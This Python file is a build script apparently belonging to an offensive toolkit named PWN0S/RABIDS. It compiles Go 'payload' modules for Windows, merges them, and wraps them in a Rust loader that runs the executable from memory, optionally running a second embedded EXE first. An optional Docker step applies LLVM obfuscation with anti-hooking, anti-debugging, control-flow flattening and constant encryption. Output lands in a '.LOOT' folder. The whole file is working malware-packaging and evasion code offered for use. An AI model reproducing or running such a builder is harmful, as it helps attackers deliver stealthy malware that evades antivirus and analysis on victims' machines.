Files
RABIDS/compiler.py
2025-07-02 17:24:09 +05:00

300 lines
12 KiB
Python

import os
import subprocess
import sys
import tempfile
from pathlib import Path
import argparse
import shutil
import re
def compile_go(go_path, output_exe):
env = os.environ.copy()
env["GOOS"] = "windows"
env["GOARCH"] = "amd64"
result = subprocess.run(["go", "build", "-o", output_exe, go_path], env=env)
if result.returncode != 0 or not os.path.isfile(output_exe):
print(f"[Error] Go build failed for {go_path}")
sys.exit(1)
print(f"Built {output_exe}")
return output_exe
def generate_rust_memexec(go_exe_path, output_exe, embed_exe_path=None):
with open(go_exe_path, "rb") as f:
go_bytes = f.read()
go_bytes_array = ','.join(str(b) for b in go_bytes)
embed_code = ""
embed_decl = ""
if embed_exe_path:
with open(embed_exe_path, "rb") as f:
embed_bytes = f.read()
embed_bytes_array = ','.join(str(b) for b in embed_bytes)
embed_decl = f"const EMBEDDED_EXE: &[u8] = &[{embed_bytes_array}];"
embed_code = """
// Run embedded EXE first
unsafe {
memexec::memexec_exe(EMBEDDED_EXE).expect("Failed to execute embedded EXE");
}
"""
rust_code = f'''
use memexec;
{embed_decl}
const GO_PAYLOAD: &[u8] = &[{go_bytes_array}];
fn main() {{
{embed_code} unsafe {{
memexec::memexec_exe(GO_PAYLOAD).expect("Failed to execute PE from memory");
}}
}}
'''
temp_dir = tempfile.mkdtemp(prefix="memexec_")
try:
src_dir = Path(temp_dir) / "src"
src_dir.mkdir(parents=True, exist_ok=True)
main_rs = src_dir / "main.rs"
main_rs.write_text(rust_code)
cargo_toml = Path(temp_dir) / "Cargo.toml"
cargo_toml.write_text("""
[package]
name = "payload"
version = "0.1.0"
edition = "2018"
[dependencies]
memexec = { git = "https://github.com/DmitrijVC/memexec", version = "0.3" }
""")
cargo_config_dir = Path(temp_dir) / ".cargo"
cargo_config_dir.mkdir(exist_ok=True)
config_toml = cargo_config_dir / "config.toml"
config_toml.write_text("""
[target.x86_64-pc-windows-gnu]
linker = "x86_64-w64-mingw32-gcc"
""")
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
if os.environ.get('PWNOS_DOCKER_OBFUSCATE', '0') == '1':
docker_image = "ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest"
user_project_dir = str(temp_dir)
docker_cmd = [
"docker", "run", "--rm",
"--platform", "linux/amd64",
"-e", "CARGO_BUILD_JOBS=1",
"-v", f"{user_project_dir}:/projects/",
"-w", "/projects/",
docker_image,
"cargo", "rustc",
"--target", "x86_64-pc-windows-gnu",
"--release",
"--",
"-Cdebuginfo=0",
"-Cstrip=symbols",
"-Cpanic=abort",
"-Copt-level=3",
"-Cllvm-args=-enable-acdobf",
"-Cllvm-args=-enable-antihook",
"-Cllvm-args=-enable-adb",
"-Cllvm-args=-enable-bcfobf",
"-Cllvm-args=-enable-splitobf",
"-Cllvm-args=-enable-subobf",
"-Cllvm-args=-enable-fco",
"-Cllvm-args=-enable-constenc"
]
result = subprocess.run(docker_cmd)
if result.returncode != 0:
print("[Error] Rust build/obfuscation failed")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
else:
# Native cargo build (no Docker, no obfuscation)
result = subprocess.run([
"cargo", "build", "--release", "--target", "x86_64-pc-windows-gnu"
], cwd=temp_dir)
if result.returncode != 0:
print("[Error] Native Rust build failed")
sys.exit(1)
built_exe = Path(temp_dir) / "target" / "x86_64-pc-windows-gnu" / "release" / "payload.exe"
os.replace(built_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
finally:
shutil.rmtree(temp_dir, ignore_errors=True)
def merge_go_modules(go_files, merged_go_path):
"""
Merges multiple Go files into one, so their main logic runs in order.
Writes the merged Go file to merged_go_path.
Automatically removes unused imports.
"""
all_imports = set()
func_bodies = []
main_funcs = []
used_names = set()
func_name_to_body = {}
def unique_func_name(base, used):
i = 1
name = base
while name in used:
name = f"{base}_{i}"
i += 1
used.add(name)
return name
def extract_functions(src):
"""Extract all top-level functions from Go source code using a line-based parser."""
funcs = []
lines = src.splitlines()
in_func = False
brace_count = 0
func_lines = []
func_name = None
for idx, line in enumerate(lines):
if not in_func:
match = re.match(r'func\s+([\w]+)\s*\(', line)
if match:
in_func = True
func_name = match.group(1)
func_lines = [line]
# Count braces on this line
brace_count = line.count('{') - line.count('}')
if brace_count == 0 and line.rstrip().endswith('}'): # one-liner
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
elif in_func:
func_lines.append(line)
brace_count += line.count('{') - line.count('}')
if brace_count == 0:
funcs.append((func_name, '\n'.join(func_lines)))
in_func = False
func_lines = []
func_name = None
return funcs
for idx, go_file in enumerate(go_files):
with open(go_file, 'r') as f:
src = f.read()
# Extract imports
imports = set()
import_block = re.findall(r'import \((.*?)\)', src, re.DOTALL)
if import_block:
for line in import_block[0].splitlines():
line = line.strip().strip('"')
if line:
imports.add(line)
else:
single_imports = re.findall(r'import\s+"([^"]+)"', src)
imports.update(single_imports)
all_imports.update(imports)
# Extract all top-level functions robustly
for func_name, body in extract_functions(src):
if func_name == "main":
new_name = unique_func_name(f"main_{os.path.splitext(os.path.basename(go_file))[0]}", used_names)
# Rename the function
body = re.sub(r'func\s+main\s*\(', f'func {new_name}(', body, count=1)
main_funcs.append((new_name, body))
else:
func_bodies.append(body.strip())
func_name_to_body[func_name] = body.strip()
# Compose merged code
merged_code = 'package main\n\n'
if all_imports:
if len(all_imports) > 1:
merged_code += 'import (\n'
for imp in sorted(all_imports):
merged_code += f'\t"{imp}"\n'
merged_code += ')\n\n'
else:
merged_code += f'import "{list(all_imports)[0]}"\n\n'
for helper in func_bodies:
merged_code += helper + '\n\n'
for func_name, main_body in main_funcs:
merged_code += main_body.strip() + '\n\n'
merged_code += 'func main() {\n'
for func_name, _ in main_funcs:
merged_code += f'\t{func_name}()\n'
merged_code += '}\n'
# Remove unused imports
merged_code = remove_unused_imports(merged_code)
with open(merged_go_path, 'w') as f:
f.write(merged_code)
def remove_unused_imports(go_code):
"""
Remove unused imports from a Go source string.
"""
import_block = re.search(r'import \((.*?)\)', go_code, re.DOTALL)
if not import_block:
single_imports = re.findall(r'import\s+"([^"]+)"', go_code)
for imp in single_imports:
if not re.search(r'\b' + re.escape(imp.split('/')[-1]) + r'\b', go_code.split('import')[1]):
go_code = re.sub(r'import\s+"' + re.escape(imp) + r'"\n', '', go_code)
return go_code
block = import_block.group(1)
imports = [line.strip().strip('"') for line in block.splitlines() if line.strip()]
used_imports = []
for imp in imports:
# Use the last part of the import path as the symbol
symbol = imp.split('/')[-1]
if re.search(r'\b' + re.escape(symbol) + r'\b', go_code.split('import')[1]):
used_imports.append(imp)
if used_imports:
new_block = 'import (\n' + ''.join([f'\t"{imp}"\n' for imp in used_imports]) + ')'
go_code = re.sub(r'import \((.*?)\)', new_block, go_code, flags=re.DOTALL)
else:
go_code = re.sub(r'import \((.*?)\)\n', '', go_code, flags=re.DOTALL)
return go_code
def main():
parser = argparse.ArgumentParser(description="Go-to-memexec EXE builder for PWN0S")
parser.add_argument("--go_file", type=str, help="Path to Go file")
parser.add_argument("--output_exe", type=str, help="Output EXE name (in .LOOT)")
parser.add_argument("--embed", type=str, help="Path to EXE to embed and run before this module")
parser.add_argument("--go-only", action="store_true", help="Only build Go file to EXE, no Rust wrapping")
parser.add_argument("--merge", nargs='+', help="List of Go files to merge and run in order (last arg is output exe)")
parser.add_argument("--obfuscate", action="store_true", help="Enable obfuscation (use Docker/Rust)")
args = parser.parse_args()
if args.obfuscate:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '1'
else:
os.environ['PWNOS_DOCKER_OBFUSCATE'] = '0'
if args.merge:
*go_files, output_exe = args.merge
with tempfile.TemporaryDirectory() as tmpdir:
merged_go = os.path.join(tmpdir, "merged.go")
merge_go_modules(go_files, merged_go)
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(merged_go, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, output_exe)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
return
if args.go_only:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required with --go-only")
sys.exit(1)
compile_go(args.go_file, args.output_exe)
return
else:
if not args.go_file or not args.output_exe:
print("--go_file and --output_exe are required for default build path")
sys.exit(1)
with tempfile.TemporaryDirectory() as tmpdir:
go_exe = os.path.join(tmpdir, "payload.exe")
compile_go(args.go_file, go_exe)
if args.obfuscate:
generate_rust_memexec(go_exe, args.output_exe, embed_exe_path=args.embed)
else:
loot_dir = Path.cwd() / ".LOOT"
loot_dir.mkdir(exist_ok=True)
final_exe = loot_dir / args.output_exe
os.replace(go_exe, final_exe)
print(f"Final EXE created at: {final_exe}")
if __name__ == "__main__":
main()